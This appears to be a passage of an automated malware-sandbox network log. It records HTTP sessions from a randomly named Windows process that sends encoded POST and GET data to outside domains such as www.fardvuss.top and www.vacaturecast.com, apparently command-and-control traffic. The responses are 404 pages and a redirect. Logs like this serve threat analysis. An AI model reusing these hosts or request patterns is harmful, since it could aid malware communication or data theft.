Sep 11, 2024 22:03:08.485847950 CEST	1236	IN	Data Raw: 0a 09 09 09 43 33 36 30 2e 36 34 37 2c 34 35 31 2e 30 38 33 2c 33 34 39 2e 32 35 31 2c 34 35 37 2e 36 36 31 2c 33 33 38 2e 31 36 34 2c 34 35 34 2e 36 38 39 7a 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 61 6e 74 Data Ascii: C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna"> <line fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49711	199.192.19.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:10.403425932 CEST	1759	OUT	POST /oxoz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.fardvuss.top Origin: http://www.fardvuss.top Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.fardvuss.top/oxoz/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 37 76 33 38 6d 61 43 50 57 36 75 62 43 6d 2b 2b 49 61 6c 44 46 4c 49 68 6e 6d 63 44 6e 4d 35 74 6d 4a 71 61 36 4c 34 65 6c 65 6d 48 55 54 47 70 66 75 4c 6f 46 52 50 6e 6d 75 35 79 50 79 59 77 64 75 53 30 61 73 41 55 49 53 68 7a 37 72 38 42 49 7a 34 43 41 39 48 46 43 61 49 55 42 56 56 41 55 71 37 73 51 63 67 6a 58 4d 78 6c 58 4d 64 39 53 57 54 4d 54 67 4b 66 46 35 35 55 52 46 75 46 48 34 2b 59 53 33 53 62 34 37 65 38 34 78 55 6c 51 41 54 46 41 64 37 45 46 2b 4e 65 62 70 69 75 2b 72 43 6c 37 39 75 72 34 56 62 4d 4d 4e 43 6b 54 47 46 56 71 51 46 63 64 51 35 39 42 70 6e 78 6e 32 64 74 33 73 46 59 49 63 51 70 74 33 36 78 43 35 2b 6f 30 4c 30 34 48 65 65 53 75 6a 4a 4b 55 75 39 49 6f 35 72 42 7a 46 6b 49 4e 2f 68 4e 75 63 68 68 48 43 56 36 78 37 59 71 69 74 4b 4e 4c 46 44 50 36 53 36 2f 76 4c 77 44 34 4b 36 4e 54 6c 44 37 78 52 6e 30 6e 66 35 45 37 37 4f 43 32 4b 34 47 62 71 31 52 75 65 48 32 31 2b 76 35 6f 6e 77 31 45 45 79 74 31 4c 33 6f 41 51 4b 6a 56 42 32 62 4c 49 49 46 4a [TRUNCATED] Data Ascii: bFGXGTdX=7v38maCPW6ubCm++IalDFLIhnmcDnM5tmJqa6L4elemHUTGpfuLoFRPnmu5yPyYwduS0asAUIShz7r8BIz4CA9HFCaIUBVVAUq7sQcgjXMxlXMd9SWTMTgKfF55URFuFH4+YS3Sb47e84xUlQATFAd7EF+Nebpiu+rCl79ur4VbMMNCkTGFVqQFcdQ59Bpnxn2dt3sFYIcQpt36xC5+o0L04HeeSujJKUu9Io5rBzFkIN/hNuchhHCV6x7YqitKNLFDP6S6/vLwD4K6NTlD7xRn0nf5E77OC2K4Gbq1RueH21+v5onw1EEyt1L3oAQKjVB2bLIIFJ8PSKCNU7V0p2n6id6z+PP8wXiOlHtcSrKV0klJzF62taYnox/jb1J5FIIM77/xAwylLpjwad8ZTVT0OELcyzwCxAQf8xKIRGfaNeMfR+2ynWcR3UwFLIglI7+LzbRE1+I0iYeoM1N9Ag5cE4CsHbcVDDM/8TYWZiu2HERwgdvMBN0SvwZ63g+7MyhstapzZwb7Gb8yTvC0D0qkchi/wMWuw6n7WKZA8qCPJVS4bx/o07WqOEKBC7nBg79FtWGYh3twm8jEpSZgFcXi8Jdw23AZT087GYUe2SycxBjpHLkZ6f/d+bNl9zaczpjP4HvtxoECaORByYmYPwXim+qnxgUFwjkZhKHjlAAeR6zXy/ZfxI+NJSS2VgAbLWXbS3MvDgTBbXlN7WCqWDJExi0PonaeY62NIcdsewikz08f4XZ4BrhfVmzfKc8sriHZFD8vi4HPHbzOJS9T8Gj+vzXyQ0h5dmFK2jDODp4/vYheNFF1yr5oGlcz0tNSfVjf+cSWPRLfISFim6LkXJTL3WBx6rTvE5uYLNbMhG9aua9VctahqkGD0/UJ7sUqPwFcAKziqwUpkl9or1lMb/Muv4S6eIr7cI8q2LutUe+15in57rBFsJOb+lcwZcz8fSmMrGIBC7EZw44fg0rKEVGwo8PDGHxcecqOqCnbacjD [TRUNCATED]
Sep 11, 2024 22:03:10.994544029 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:03:10 GMT Server: Apache Content-Length: 16026 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Sep 11, 2024 22:03:10.994561911 CEST	1236	IN	Data Raw: 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 37 37 2d 32 34 2e 31 39 32 63 2d 33 2e 31 30 31 2d 33 2e 36 38 34 2d 34 2e 31 37 37 2d 38 2e 36 36 2d 32 2e 39 33 2d 31 33 2e 33 31 31 6c 37 2e 34 35 33 2d 32 37 2e 37 39 38 63 30 2e 37 Data Ascii: s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,38.725,16.498c2.387,1.682,3.461,4.668,2.705,7.488L380.857,346.
Sep 11, 2024 22:03:10.994582891 CEST	1236	IN	Data Raw: 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 61 64 6f 77 22 20 6f 70 61 63 69 74 79 3d 22 30 2e 35 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d Data Ascii: <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.531,52.515,2.436,83.972,2.436c36.069,0,68.978-1.19,93.922-3.149
Sep 11, 2024 22:03:10.994594097 CEST	1236	IN	Data Raw: 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" strok
Sep 11, 2024 22:03:10.994606972 CEST	896	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d Data Ascii: </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="489.555" y1="299.765" x2="489.555" y2="308.124" />
Sep 11, 2024 22:03:10.994620085 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e Data Ascii: <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="244.032" y1="547.539" x2="244.032" y2="555.898" /> <line fill="none" stroke="#0E0620" stroke
Sep 11, 2024 22:03:10.994632006 CEST	1236	IN	Data Raw: 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 63 69 72 63 6c 65 73 42 69 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 Data Ascii: </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="588.977" cy="255.978" r="7.952" />
Sep 11, 2024 22:03:10.994642973 CEST	448	IN	Data Raw: 20 20 20 63 78 3d 22 32 38 33 2e 35 32 31 22 20 63 79 3d 22 35 36 38 2e 30 33 33 22 20 72 3d 22 37 2e 39 35 32 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 Data Ascii: cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="413.618" cy="482.387" r="7.952" /> </g>
Sep 11, 2024 22:03:10.994657040 CEST	1236	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 34 33 34 2e 38 32 34 22 20 63 79 3d 22 32 36 33 2e 39 33 31 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c Data Ascii: fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy="544.176" r="2.651" /> <circle fill="#0E0620" cx="382.515" cy="530.923" r="2.651" /> <circle fill="#0
Sep 11, 2024 22:03:10.994669914 CEST	1236	IN	Data Raw: 0a 09 09 09 43 33 36 30 2e 36 34 37 2c 34 35 31 2e 30 38 33 2c 33 34 39 2e 32 35 31 2c 34 35 37 2e 36 36 31 2c 33 33 38 2e 31 36 34 2c 34 35 34 2e 36 38 39 7a 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 61 6e 74 Data Ascii: C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna"> <line fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit=
Sep 11, 2024 22:03:10.999597073 CEST	1236	IN	Data Raw: 38 31 37 2d 35 2e 38 31 38 2d 32 2e 34 38 34 2d 39 2e 30 34 36 0a 09 09 09 09 43 33 37 35 2e 36 32 35 2c 34 33 37 2e 33 35 35 2c 33 38 33 2e 30 38 37 2c 34 33 37 2e 39 37 33 2c 33 38 38 2e 37 36 32 2c 34 33 34 2e 36 37 37 7a 22 20 2f 3e 0a 20 20 Data Ascii: 817-5.818-2.484-9.046C375.625,437.355,383.087,437.973,388.762,434.677z" /> </g> <g id="armL"> <path fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-linejoin="roun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49712	199.192.19.19	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:12.934895039 CEST	459	OUT	GET /oxoz/?bFGXGTdX=2tfclvLQdcOBJmGnIZVAP5JMnkUnnIVvl5+7iv031/ylbgKII8HkCnHT6NNgDVU8buPmA9RxJ1d+vIxyZHsoGN30KfBqGUlKbJLPWs8oJbYVBexVLA==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.fardvuss.top Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:03:13.538608074 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 20:03:13 GMT Server: Apache Content-Length: 16026 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Sep 11, 2024 22:03:13.538667917 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 37 37 2d 32 34 2e 31 39 32 63 2d 33 2e 31 30 31 2d 33 2e 36 38 34 2d 34 2e 31 37 37 2d 38 2e 36 36 2d 32 2e 39 33 2d 31 33 2e 33 31 31 6c 37 Data Ascii: s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,38.725,16.498c2.387,1.682,3.461,4.668,2.705,7.4
Sep 11, 2024 22:03:13.538703918 CEST	1236	IN	Data Raw: 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 61 64 6f 77 22 20 6f 70 61 63 69 74 79 3d 22 30 2e 35 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 Data Ascii: /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.531,52.515,2.436,83.972,2.436c36.069,0,68.978-1.
Sep 11, 2024 22:03:13.538749933 CEST	672	IN	Data Raw: 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 Data Ascii: ne" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-lineca
Sep 11, 2024 22:03:13.538784027 CEST	1236	IN	Data Raw: 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 32 31 30 2e 36 31 31 22 20 79 31 3d 22 34 39 33 2e 37 31 33 22 20 78 32 3d 22 31 39 30 2e 37 33 Data Ascii: d" stroke-miterlimit="10" x1="210.611" y1="493.713" x2="190.73" y2="493.713" /> </g> </g> <g id="starsSmall"> <g> <line fill="none" stroke="#0E0
Sep 11, 2024 22:03:13.538814068 CEST	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 Data Ascii: <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="227.55" y1="295.189" x2="235.387" y2="295.189" /> </g>
Sep 11, 2024 22:03:13.538846970 CEST	1236	IN	Data Raw: 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="244.032" y1="547.539" x2="244.032" y2="555.898" /> <line fill="none" stroke="
Sep 11, 2024 22:03:13.538878918 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 63 69 72 63 6c 65 73 42 69 67 22 3e 0a 0a 20 20 20 20 20 Data Ascii: > </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="588.977" cy="255.978" r="7.9
Sep 11, 2024 22:03:13.538911104 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 78 3d 22 32 38 33 2e 35 32 31 22 20 63 79 3d 22 35 36 38 2e 30 33 33 22 20 72 3d 22 37 2e 39 35 32 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 Data Ascii: cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="413.618" cy="482.387" r="7.952" />
Sep 11, 2024 22:03:13.538948059 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 34 33 34 2e 38 32 34 22 20 63 79 3d 22 32 36 33 2e 39 33 31 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy="544.176" r="2.651" /> <circle fill="#0E0620" cx="382.515" cy="530.923" r="2.651" /> <
Sep 11, 2024 22:03:13.543836117 CEST	1236	IN	Data Raw: 6c 2d 31 35 2e 36 39 34 2c 35 38 2e 35 33 37 0a 09 09 09 43 33 36 30 2e 36 34 37 2c 34 35 31 2e 30 38 33 2c 33 34 39 2e 32 35 31 2c 34 35 37 2e 36 36 31 2c 33 33 38 2e 31 36 34 2c 34 35 34 2e 36 38 39 7a 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 Data Ascii: l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna"> <line fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" str

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49713	91.184.0.111	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:19.297724009 CEST	734	OUT	POST /sid8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.vacaturecast.com Origin: http://www.vacaturecast.com Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.vacaturecast.com/sid8/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 52 69 43 32 53 47 59 64 6c 61 52 4b 53 6b 4a 41 77 4c 67 6e 2b 6a 41 6b 73 56 4a 70 2f 38 63 53 4b 55 7a 6c 4c 61 52 53 55 32 30 65 55 6a 35 36 2f 5a 52 4f 75 2b 66 34 56 38 73 7a 5a 59 31 4c 67 46 5a 4e 48 47 42 4f 62 76 30 49 58 6d 56 43 6e 72 65 51 4e 32 66 32 33 6c 33 54 38 2f 67 77 53 4e 61 4c 6b 32 70 56 53 6d 31 69 36 65 46 49 4a 38 6c 30 74 61 38 6b 34 2f 69 75 43 2b 5a 51 75 4f 64 33 76 32 54 42 51 32 52 33 36 63 43 4d 35 55 2f 64 48 6e 63 73 56 79 46 54 64 64 64 34 30 56 37 58 62 71 36 79 37 6a 48 77 33 59 45 6c 79 77 78 46 37 39 75 63 67 35 36 44 Data Ascii: bFGXGTdX=RiC2SGYdlaRKSkJAwLgn+jAksVJp/8cSKUzlLaRSU20eUj56/ZROu+f4V8szZY1LgFZNHGBObv0IXmVCnreQN2f23l3T8/gwSNaLk2pVSm1i6eFIJ8l0ta8k4/iuC+ZQuOd3v2TBQ2R36cCM5U/dHncsVyFTddd40V7Xbq6y7jHw3YElywxF79ucg56D
Sep 11, 2024 22:03:19.921907902 CEST	546	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.1 Date: Wed, 11 Sep 2024 20:03:19 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 305 Connection: close Location: http://pacopodcast.nl/sid8/ X-Powered-By: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 61 63 6f 70 6f 64 63 61 73 74 2e 6e 6c 2f 73 69 64 38 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 76 61 63 61 74 75 72 65 63 61 73 74 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://pacopodcast.nl/sid8/">here</a>.</p><hr><address>Apache Server at www.vacaturecast.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49714	91.184.0.111	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
